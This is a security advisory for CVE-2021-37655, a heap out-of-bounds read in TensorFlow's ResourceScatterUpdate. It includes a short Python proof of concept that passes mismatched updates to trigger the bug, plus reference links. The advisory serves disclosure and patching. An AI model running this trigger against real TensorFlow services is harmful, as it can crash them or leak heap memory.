CVE-2021-37655: Heap OOB in `ResourceScatterUpdate`
(updated )
An attacker can trigger a read from outside of bounds of heap allocated data by sending invalid arguments to tf.raw_ops.ResourceScatterUpdate
:
import tensorflow as tf
v = tf.Variable([b'vvv'])
tf.raw_ops.ResourceScatterUpdate(
resource=v.handle,
indices=[0],
updates=['1', '2', '3', '4', '5'])
References
- github.com/advisories/GHSA-7fvx-3jfc-2cpc
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-568.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-766.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-277.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/01cff3f986259d661103412a20745928c727326f
- github.com/tensorflow/tensorflow/security/advisories/GHSA-7fvx-3jfc-2cpc
- nvd.nist.gov/vuln/detail/CVE-2021-37655
Detect and mitigate CVE-2021-37655 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →